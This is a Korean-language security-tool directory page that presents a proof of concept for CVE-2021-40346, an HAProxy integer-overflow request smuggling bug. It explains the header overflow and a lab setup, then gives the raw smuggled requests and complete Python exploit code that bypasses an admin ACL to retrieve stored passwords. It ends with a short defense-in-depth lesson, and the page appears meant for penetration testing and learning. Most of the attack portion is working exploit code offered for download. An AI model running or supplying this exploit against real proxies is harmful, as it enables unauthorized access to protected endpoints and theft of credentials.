Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2021-40346 — HTTP Request Smuggling | Kitploit
도구/GitHubGitHub/boianeduard/cve-2021-40346
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration TestingLearning & Education
GitHubboianeduard/cve-2021-40346

CVE-2021-40346

HTTP Request Smuggling

저장소 보기
5개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2021-40346: HAProxy HTTP 요청 스머글링 - ACL 우회

개요

이 프로젝트는 HAProxy의 중요한 정수 오버플로 취약점인 CVE-2021-40346을 시연하며, 이 취약점을 통해 HTTP 요청 스머글링 공격으로 보안 제어를 우회할 수 있습니다.

CVSSv3 점수: 7.5 (높음)

기여자:

  1. Boian Eduard
  2. Borsos Matheas-Roland

CVE-2021-40346이란?

CVE-2021-40346은 HAProxy의 HTTP 헤더 파싱 로직에서 발생하는 정수 오버플로 취약점입니다. 헤더 이름이 255바이트를 초과하면 길이 값이 8비트 필드에서 오버플로되어 HAProxy가 요청 전달 시 헤더를 잘못 해석하게 됩니다.

공격 작동 방식

단계별 분석

  1. 공격자 전송: 헤더 이름 = "Content-Length0" + 255×'a' = 270바이트

  2. 1단계 (초기 파싱):

    • HAProxy가 헤더 이름의 270바이트 전체를 읽음
    • name_length = 270 % 256 = 14 저장 (8비트 오버플로)
    • 오버플로 비트로 인해 value_length = 1 설정
    • 정상적인 Content-Length: 60 헤더를 읽어 본문 길이로 처리
    • 60바이트를 요청 본문(밀반입 요청 포함)으로 읽음
  3. 2단계 (요청 전달):

    • 오버플로된 헤더 블록을 만남
    • 처음 14자만 읽음: "Content-Length"
    • 값으로 1자(14번째 위치) 읽음: "0"
    • 전달되는 요청에 content-length: 0 추가
    • 실제 Content-Length: 60 헤더는 무시 (일반 로직에 따라)
  4. 백엔드 처리:

    • HAProxy로부터 content-length: 0 수신
    • 본문이 없는 POST 요청으로 파싱
    • "본문"(밀반입된 GET 요청)을 다음 HTTP 요청으로 처리
    • 밀반입된 요청을 처리하여 HAProxy의 모든 ACL 우회

공격 흐름 예시

ACL 규칙을 우회하여 관리자 엔드포인트 접근

HAProxy가 관리자 경로에 대한 접근을 제한하는 ACL 규칙으로 구성되어 있다고 가정합니다:

root@kitploit:~
http-request deny if { path_beg /users/admin }

PoC에서는 일반 사용자 세션(alice)을 사용하여 관리자만 접근할 수 있어야 하는 보호된 /users/admin 엔드포인트에 접근합니다.

악성 요청 (요청 1 - 포이즌):

root@kitploit:~
POST / HTTP/1.1
Host: 127.0.0.1:8080
Content-Length0aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa:
Content-Length: 78

GET /users/admin HTTP/1.1
Cookie: session=alice_session_token
DUMMY:

HAProxy가 전달하는 요청:

root@kitploit:~
POST / HTTP/1.1
host: 127.0.0.1:8080
content-length: 0
x-forwarded-for: 192.168.188.1

GET /users/admin HTTP/1.1
Cookie: session=alice_session_token
DUMMY:

완료 요청 (요청 2):

root@kitploit:~
GET / HTTP/1.1
Host: 127.0.0.1:8080

백엔드가 처리하는 완전한 밀반입 요청:

root@kitploit:~
GET /users/admin HTTP/1.1
Cookie: session=alice_session_token
DUMMY:GET / HTTP/1.1
Host: 127.0.0.1:8080

결과:

  1. HAProxy가 content-length: 0으로 POST / 전달 (ACL이 안전한 경로로 인식)
  2. 백엔드가 POST / 처리 (본문 없음) 후 다음 요청 대기
  3. 백엔드가 불완전한 밀반입된 GET /users/admin을 보류 요청으로 처리
  4. 요청 2가 밀반입 요청을 완성
  5. 백엔드가 alice의 세션으로 GET /users/admin 처리, HAProxy ACL 우회
  6. 관리자 비밀이 담긴 응답이 공격자에게 반환됨

개념 증명

테스트 환경 설정

HAProxy 설정 (haproxy.cfg)

취약한 HAProxy 인스턴스는 관리자 엔드포인트를 보호하기 위해 ACL 규칙으로 구성되어 있습니다:

root@kitploit:~
...
    # ACL to detect admin endpoint access
    acl is_admin_endpoint path_beg /users/admin
    
    # ACL to check for admin session cookie
    acl has_admin_session cook(session) -m beg admin_
    
    # Deny access to admin endpoint if user doesn't have admin session
    http-request deny if is_admin_endpoint !has_admin_session
...

핵심 사항:

  • ACL 보호: 세션 쿠키가 admin_으로 시작하지 않으면 /users/admin 차단
  • HTTP Keep-Alive (기본값): HAProxy는 기본적으로 keep-alive 모드를 사용하여 백엔드와의 TCP 연결을 재사용합니다. 이는 공격에 필수적입니다. 동일한 연결에서 여러 요청을 허용하기 때문입니다.
  • 세션 기반 접근 제어: 일반 사용자(user_로 시작하는 세션)는 거부됨

백엔드 서버 (Flask)

백엔드 서버에는 세 명의 사용자와 관리자 엔드포인트가 있습니다:

root@kitploit:~
USERS = [
    {'id': 1, 'username': 'alice', 'password': 'alice123', 'role': 'user'},
    {'id': 2, 'username': 'bob', 'password': 'bob456', 'role': 'user'},
    {'id': 3, 'username': 'admin', 'password': 'admin_secret', 'role': 'admin'},
]

@app.route('/login', methods=['POST'])
def login():
    # ... authentication logic ...
    
    # Generate session token with role prefix
    prefix = 'admin_' if user['role'] == 'admin' else 'user_'
    token = prefix + secrets.token_hex(16)
    
    resp.set_cookie('session', token, httponly=True)
    return resp

@app.route('/users/admin', methods=['GET', 'POST'])
def users_admin():
    # Returns sensitive data including all user passwords
    rows = ''.join([
        f"{u['id']} | {u['username']} | {u['email']} | "
        f"{u['password']} | {u['role']}" 
        for u in USERS
    ])
    
    return f"ADMIN PANELAll users with passwords:{rows}"

보안 모델:

  • Alice (일반 사용자)는 세션 user_a1b2c3d4... 획득
  • 관리자는 세션 admin_a1b2c3d4... 획득
  • HAProxy가 alice의 /users/admin 요청을 차단
  • 백엔드 설정 오류: Flask 서버는 HAProxy가 이미 접근 제어를 적용했다고 맹목적으로 신뢰하며, 민감한 데이터를 제공하기 전에 세션 토큰을 재검증하거나 사용자가 실제로 관리자인지 확인하지 않음
  • 취약점: HTTP 스머글링이 HAProxy의 ACL 검사를 우회하고, 백엔드에는 심층 방어가 없음

작동 원리:

  1. HAProxy는 외부 POST / 요청을 확인 (허용됨)
  2. HAProxy가 POST /에 대해 ACL 검사 (관리자 제한 없음)
  3. HAProxy가 content-length: 0 전달 (오버플로 버그로 인해)
  4. 백엔드가 불완전한 GET /users/admin 요청 수신
  5. 두 번째 요청이 이를 완성하여 HAProxy의 ACL 검사 우회
  6. 백엔드가 맹목적으로 관리자 엔드포인트 제공 - 세션 토큰이 실제 관리자 토큰인지 확인하지 않음
  7. 백엔드가 GET /users/admin을 직접 처리하여 암호 노출

심층 방어 교훈: 이는 백엔드가 프록시를 맹목적으로 신뢰해서는 안 되는 이유를 보여줍니다. HAProxy의 ACL이 적용되어 있더라도 백엔드는:

  • 자체적으로 세션 토큰을 파싱하고 검증해야 함
  • 민감한 엔드포인트를 제공하기 전에 사용자의 역할/권한을 확인해야 함
  • 자체 인가 로직(예: @require_admin 데코레이터)을 구현해야 함

프록시 수준의 접근 제어에만 의존하면 단일 실패 지점이 생성됩니다.

주요 익스플로잇 시퀀스

PoC는 일반 사용자 세션을 사용하여 HAProxy ACL을 우회하고 /users/admin에 접근하는 과정을 네 가지 주요 단계로 보여줍니다:

1. 일반 사용자로 인증

root@kitploit:~
# Login as alice (non-admin user)
body = "username=alice&password=alice123"
login = f"POST /login HTTP/1.1\r\n" \
        f"Host: {TARGET}:{PORT}\r\n" \
        f"Content-Type: application/x-www-form-urlencoded\r\n" \
        f"Content-Length: {len(body)}\r\n\r\n{body}".encode()

sock = socket.socket()
sock.connect((TARGET, PORT))
sock.sendall(login)
time.sleep(0.5)

# Receive response and extract session token
resp = b""
while True:
    chunk = sock.recv(4096)
    if not chunk:
        break
    resp += chunk
sock.close()

session = resp.decode().split('session=')[1].split(';')[0]
print(f"✓ Session: {session[:35]}...")

목적:

  • 일반 사용자(alice)의 합법적인 세션 토큰 획득
  • 이 세션은 정상적으로 /users/admin 엔드포인트에 접근 불가
  • 밀반입 요청에서 이 세션을 사용하여 ACL 우회

2. 밀반입 요청 구성 (불완전)

root@kitploit:~
# Craft incomplete smuggled request targeting admin endpoint
smuggled_incomplete = f"GET /users/admin HTTP/1.1\r\nCookie: session={session}\r\nDUMMY:"

중요 세부 사항:

  • 보호된 /users/admin 경로 대상
  • 합법적인 사용자 세션(alice) 사용
  • DUMMY: 헤더로 끝나며(CRLF 없음) 요청을 불완전하게 유지
  • 백엔드는 처리를 위해 추가 데이터를 기다림

3. 포이즌 요청 구성

root@kitploit:~
# Create overflow header (270 bytes = 14 after 8-bit overflow)
overflow_header = "Content-Length0" + ("a" * 255)

# Build complete poison request
poison = (
    f"POST / HTTP/1.1\r\n"
    f"Host: {TARGET}:{PORT}\r\n"
    f"{overflow_header}:\r\n"                    # Triggers integer overflow
    f"Content-Length: {len(smuggled_incomplete)}\r\n"  # Real body length
    f"\r\n"
    f"{smuggled_incomplete}"                     # Smuggled request as "body"
).encode()

발생 과정:

  • Content-Length0aaa... (270바이트)가 14바이트로 오버플로
  • HAProxy 2단계에서 처음 14자 읽음: "Content-Length"
  • 14번째 위치의 값: "0"
  • HAProxy 전달: content-length: 0
  • 백엔드가 밀반입된 GET을 보류 요청으로 수신

4. 요청 전송

root@kitploit:~
# Send poison request
sock = socket.socket()
sock.connect((TARGET, PORT))
sock.sendall(poison)
time.sleep(1)
resp1 = sock.recv(4096)  # Receive POST / response

# Send completion request (completes smuggled request)
completion = (
    f"GET / HTTP/1.1\r\n"
    f"Host: {TARGET}:{PORT}\r\n"
    f"\r\n"
).encode()

sock.sendall(completion)
time.sleep(2)

# Capture the response of the smuggled request
all_data = b""
sock.settimeout(5)
try:
    while True:
        chunk = sock.recv(4096)
        if not chunk:
            break
        all_data += chunk
except:
    pass
sock.close()

# Decode and check for success
text = all_data.decode('utf-8', errors='ignore')

print(f"\n[RESULTS] {len(all_data)} bytes received")
print("="*70)
print(text)
print("="*70)

if "admin_secret" in text:
    print("\n✅ SUCCESS! BYPASSED HAPROXY ACL!")
    print("🔓 Stolen passwords visible in response above!")
else:
    print("\n⚠️  Check backend logs - smuggling is working but response capture needs adjustment")

요청 흐름:

  1. 포이즌 전송 → 백엔드가 불완전한 GET /users/admin 버퍼링
  2. 완료 요청 전송 → 밀반입 요청에 연결되어 이중 CRLF 추가
  3. 백엔드 처리 → alice의 세션으로 완전한 GET /users/admin 처리
  4. 응답 캡처 → 모든 데이터 수신 후 UTF-8로 디코딩
  5. 성공 감지 → 응답에서 admin_secret 키워드 확인
도구 다운로드